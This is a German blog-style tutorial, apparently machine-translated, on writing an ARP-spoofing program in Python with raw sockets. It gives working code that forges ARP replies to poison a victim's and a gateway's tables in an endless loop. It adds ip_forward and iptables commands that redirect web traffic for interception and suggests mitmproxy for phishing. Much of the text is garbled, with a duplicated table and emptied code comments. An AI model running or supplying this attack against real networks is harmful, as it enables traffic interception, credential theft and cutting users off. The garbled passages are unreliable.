Einführung
In diesem Artikel möchte ich zeigen, wie Sie Ihr eigenes ARP-Spoofing-Programm in Python implementieren können. Es gibt bereits Tausende von Implementierungen, aber fast alle verwenden die Scapy-Bibliothek und einige Methoden. Es ist möglich, diese Bibliothek effizienter zu nutzen, ich argumentiere nicht, aber ich war daran interessiert, sie selbst mithilfe von Sockets zu implementieren, und ich möchte den Lesern sagen, wie dies gemacht wird.
Es wird davon ausgegangen, dass Sie bereits mit der Funktionsweise des ARP-Protokolls und seinen Nachteilen vertraut sind. Wenn nicht, empfehle ich Ihnen, diesen Artikel zu lesen .
Ich bin kein hochqualifizierter Spezialist für Informationssicherheit, daher bitte ich Sie, Ihre Hausschuhe nicht zu werfen, sondern Ungenauigkeiten in den Kommentaren anzugeben.
Ein bisschen Theorie
Beginnen wir mit der Tatsache, dass der Protokollcode \ x08 \ x06 ist und auf der zweiten OSI-Schicht, dh dem Kanal 1, funktioniert.
Dann müssen Sie sich mit dem Körper seines Pakets vertraut machen, um zu wissen, was Sie senden sollen. Auf Wikipedia ist es sehr gut geschrieben:
Paketkörper
Hardware type (HTYPE)
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
Auf den ersten Blick mag es schwierig erscheinen, aber wenn Sie es herausfinden, sollten keine Probleme auftreten.
Der erste Hardwaretyp (Typ Hardware) ist für uns Ethernet. Der Code lautet also 0x0001 oder \ x00 \ x01 , Protokolltyp (Protokolltyp) - IPv4, codiert als \ x08 \ x00 ; Dann kommt die Länge des Hardware- und Protokolltyps \ x06 \ x04 , dh 6 und 4 Bytes.
Und am Ende haben wir einen Operationscode, der im Fall einer Anfrage \ x00 \ x01 ist , und im Fall einer Antwort \ x00 \ x02 und die physischen / logischen Adressen des Absenders / Empfängers.
Implementierung
Zunächst müssen Sie eine Socket-Instanz deklarieren und die erforderlichen Parameter festlegen:
import socket
import time
interface = "wlan0" #
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # MAC-, bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-
victim_ip = socket.inet_aton("192.168.1.2") # IP-
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
Angenommen, ARP ist ein OSI-Layer-2-Protokoll, verwenden wir socket.PF_PACKET als ersten Parameter. Sie benötigen außerdem Root-Rechte, damit das Programm funktioniert.
Die Methode socket.htons () konvertiert natürliche 16-Bit-Zahlen in die Reihenfolge der Netzwerkbytes.
Die Methode socket.inet_aton () konvertiert IPv4-Adressen in 32-Bit-Binärdateien.
Ich habe auch die erforderlichen Variablen deklariert.
Die nächste Stufe ist die Bildung des Pakets:
arp_code = b'\x08\x06' #
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code -
protocol = htype + ptype + hlen + plen + operation #
# ,
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
#
# 4 4 ,
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
#
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
Jetzt haben wir nur das Programm selbst analysiert. Wenn Sie jedoch nicht nur Benutzer vom Gateway trennen, sondern auch Pakete ersetzen / schnüffeln möchten, müssen Sie hierfür die Weiterleitung in ip_forward aktivieren:
echo 1 > /proc/sys/net/ipv4/ip_forward
Und konfigurieren Sie auch das Paket-Routing über iptables:
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
Wenn Sie Phishing durchführen möchten, ist das Mitmproxy- Dienstprogramm die beste Wahl .
Sie können den durch Sie fließenden Datenverkehr mit dem Dienstprogramm tcpdump anzeigen .
Ebenfalls auf meinem GitHub habe ich ein Skript veröffentlicht, mit dem alle oder einige Knoten vom Gateway getrennt werden sollen - github.com/secwayz/netbuster
Als Ergebnis des Schreibens des Programms stellte ich fest, dass selbst mit dem Operationscode 0x0001(Anfrage) und mit allen Parametern aus der Antwort (sie unterscheiden sich geringfügig) erhält das Opfer weiterhin das Paket und ändert die MAC-Adresse in der ARP-Tabelle, während die Stabilität des Angriffs und die Stärke dieses Eintrags erheblich erhöht werden. Ich gehe davon aus, dass dies ein weiterer Fehler im Protokoll ist, bei dem die Netzwerkschnittstelle das falsch zusammengesetzte Paket nicht ignoriert, sondern verarbeitet und die Tabelle überschreibt.